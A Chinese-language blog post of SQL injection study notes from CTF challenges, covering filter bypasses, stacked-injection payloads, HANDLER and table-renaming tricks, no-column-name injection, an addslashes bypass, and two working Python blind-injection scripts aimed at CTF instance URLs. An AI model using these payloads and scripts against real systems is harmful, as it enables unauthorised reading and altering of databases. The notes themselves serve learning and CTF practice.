0%

sql注入漏洞总结

这一篇主要就是总结了一下我在学习sql注入和做相关题目的时候遇到的一些题型、知识点、攻击方法和特别的绕过方法,内容不是很全,但肯定有用😉

小知识记录:

  1. 空格:()/**/替代

  2. =like替代

  3. %00也可以注释(截断)后面的'

  4. replace可以替代insert插入

  5. 查询所有库

    select schema_name from information_schema.schemata
    replace into score values("火华",666,666,666); #插入数据
    delete from score where listen=11; #删除数据

二次注入

[网鼎杯 2018]Comment

[网鼎杯2018]Unfinish

注册好之后会自动跳转到登录页面,我们登上去发现我们的用户名出现在了界面上,那么这就很可能是用户明通过登录之后从数据库查询传到index.php页面了,那这就很符合二次注入的点了,我们就只能在注册的时候考虑用户名注入了,那我们就尝试构建一下payload

//注册用户
insert into tables values('$email','$username','$password')

regexplike匹配

like匹配

在表tc中,匹配以f开头;以f结尾;包含f;包含f/l/a的记录。

select * from t where c like 'f%'
select * from t where c like '%f'
select * from t where c like '%f%'
select * from t where c like 'f' or c like 'l' or c like 'a'

regexp正则匹配

在表tc中,匹配以f开头;以f结尾;包含f的记录。

select * from t where c regexp '^f'
select * from t where c regexp 'f$'
select * from t where c regexp 'f'

匹配包含fla的记录

select * from t where c regexp 'f|l|a'

匹配包含ae/be/ce/de的记录;匹配包含ea/eb/ec/ed的记录

select * from t where c regexp '[abcd]e'
select * from t where c regexp 'e[abcd]'

使用-进行范围匹配搜索

select * from t where c regexp '[a-d]e'
select * from t where c regexp 'e[a-d]'

regexp盲注脚本

import requests
from urllib.parse import unquote
def Regexp(url):
passwd = ''
string = 'qwertyuioplkjhgfdsazxcvbnm1234567890_-{}~'
for num in range(50):
for i in string:
i = passwd+i #上次匹配到的passwd要带上
payload = '||/**/passwd/**/regexp/**/\"^{0}\";'.format(i)+unquote('%00')
post_data = {'username':'\\','passwd':payload}
res = requests.post(url=url,data=post_data)
if "welcome" in res.text:
passwd = i
print(passwd)
break

if __name__ == '__main__':
url = 'http://48723e94-4934-4e93-a309-206c8f2713b2.node5.buuoj.cn:81/'
Regexp(url)

堆叠注入

[强网杯 2019]随便注[GYCTF2020]Blacklist

show查询

show databases;
show tables from information_schema;
show columns from table1;
#如果表名是纯数字,需要用反引号包裹
show columns from `5799`

重命名获取字段内容

​ 这个方法比较绕,大致思路如下:通常输入1能获取一个普通的字段内容,这里输入1可以获取wordsid 字段中的数据,我们要的flagflag_tableflag 字段中。然后将原来的表和列改为其他名字,将flag 的表和列改为wordid,如此直接输入1便能查询到flag

# 1';payload#
#payload如下
alter table words rename to words1;
alter table flag_table rename to words;
alter table words change flag id varchar(60);
1';alert table words rename to www;alter table 1919810931114514 rename to words;alert table words change flag id varchar(60);

handler查表

handler用来读表中的数据,会根据语句后面的参数决定。需要注意的是,在用handler读取表中数据的时候,需要先open一个表,然后才能read,最后还需要close

HANDLER demo OPEN;
HANDLER demo READ{FIRST | LAST | NEXT | PREV};
HANDLER demo CLOSE;
#first:读取第一行数据。
#last:读取最后一行的数据,需要一个合适的索引。
#next:读取当前行的下一行数据。
#prev:读取当前数据的前一行
handler FlagHere open;handler FlagHere read first;handler FlagHere close;

过滤information

获取表名

  • mysql.innodb.table.statsdatabase_name=""
SELECT group_concat(table_name) FROM mysql.innodb_table_stats WHERE database_name=database()
  • sys.schema_table_statistics_with_buffer
SELECT group_concat(table_name) FROM sys.schema_table_statistics_with_buffer WHERE table_schema=

无列名注入

法一

:这个方法必须当union没有被过滤时才能利用。

table0中有3个字段(列),输入以下命令

select 1,2,3 union select * from table0

会得到如下内容

1 2 3
linyue 2333 happy
jiantang 5799 fine

这样就获得了一张新表table1,其字段名是1 2 3,内容还是table0中原来的内容

# 获取第一列的内容
select `1` from (select 1,2,3 union select * from table0)table1

如果过滤了反引号,使用如下方法绕过

#获取第一列的内容
select a from (select 1 as a union select * from table2)table3
#获取第三列的内容
select b from (select 1,2,3 as b union select * from table0)table1

ascii比较

查询字段数

((select 1,2,3)>(select * from f1ag_1s_h3r3_hhhhh))

1,2,3或1,2这样不断尝试,根据回显确定字段数。

直接给脚本吧😅

import string
import requests
def Flag(url):
flag = ''
flag_1 = ''
for i in range(50):
for char in range(32,127):
flag_1 = (flag+chr(char)) #上次得到的flag加上这次要遍历的字符
payload = '2||((select 1,"{0}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(flag_1)
post_data = {"id":payload}
res = requests.post(url,post_data)
if "Nu1L" in res.text:
flag += chr(char-1) #fl与flag比较,fm与flag比较
print(flag)
break
if __name__ == '__main__':
url = 'http://2d5d6e3c-1b0a-477e-9096-89fab93ce204.node5.buuoj.cn:81/index.php'
# Database_Length(url)
# Database(url)#give_grandpa_pa_pa_pa
# Table(url)#users233333333333333,f1ag_1s_h3r3_hhhhh
Flag(url)

addslashes()str_replace()过滤

例题:[CISCN2019 总决赛 Day2 Web1]Easyweb
GET传入idpath两个参数。

过滤分析

<?php
$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
?>
  • addslashes($id)函数,会在**$id**中的特殊字符前,添加反斜杠,这些特殊字符为:'"\NULL字符(\0)。
  • str_replace(array("\\0","%00","\\'","'"),"",$id);会将**$id中的\0%00\''都替换为空字符串。\\0NULL字符(\0),\\'是转义的单引号\'%00URL编码的NULL**字符。

转义字符是什么意思?

# echo 'I'm happy.';   (1)
echo 'I\'m happy.'; (2

(1)I'm中的'被解释为字符串的结束符;(2)I\'m中的\'被解释为一个单引号字符,有了\的转义,才不会被解释为结束符。

绕过分析

​ 如果输入$id=\0addslashes()使其为\\0str_replace()过滤其中的\0,最后剩下一个\。放入原语句id='{$id}' or path='{$path}'中,成为id='\' or path='{$path}',如此以来,第二个原本为结束符的单引号被转义为单引号字符,而第三个原本为起始符的单引号便成了结束符

​ 如果输入http://65e65fa9-e2cc-4aba-8ce5-41cee1623c5e.node5.buuoj.cn:81/image.php?id=1\0&path=or 1=1#,则构成的sql语句如下:

select * from images where id='1\' or path='or 1=1#'

原意是由or连接的idpath两个条件,通过恶意注入成了由or连接的id1=1这两个条件。

​ 现在,参数id传入1\0;参数path传入or xxxx#,构成的sql语句中,1\' or path=无用,or xxxx#中的xxxx#才是真正要利用的代码。

注:如果没有过滤,通常我们只需输入1',由输入的'提前闭合,便可以完成注入。而这次我们是利用过滤将原来的结束符转义,再结合第二个条件的开始符来完成注入。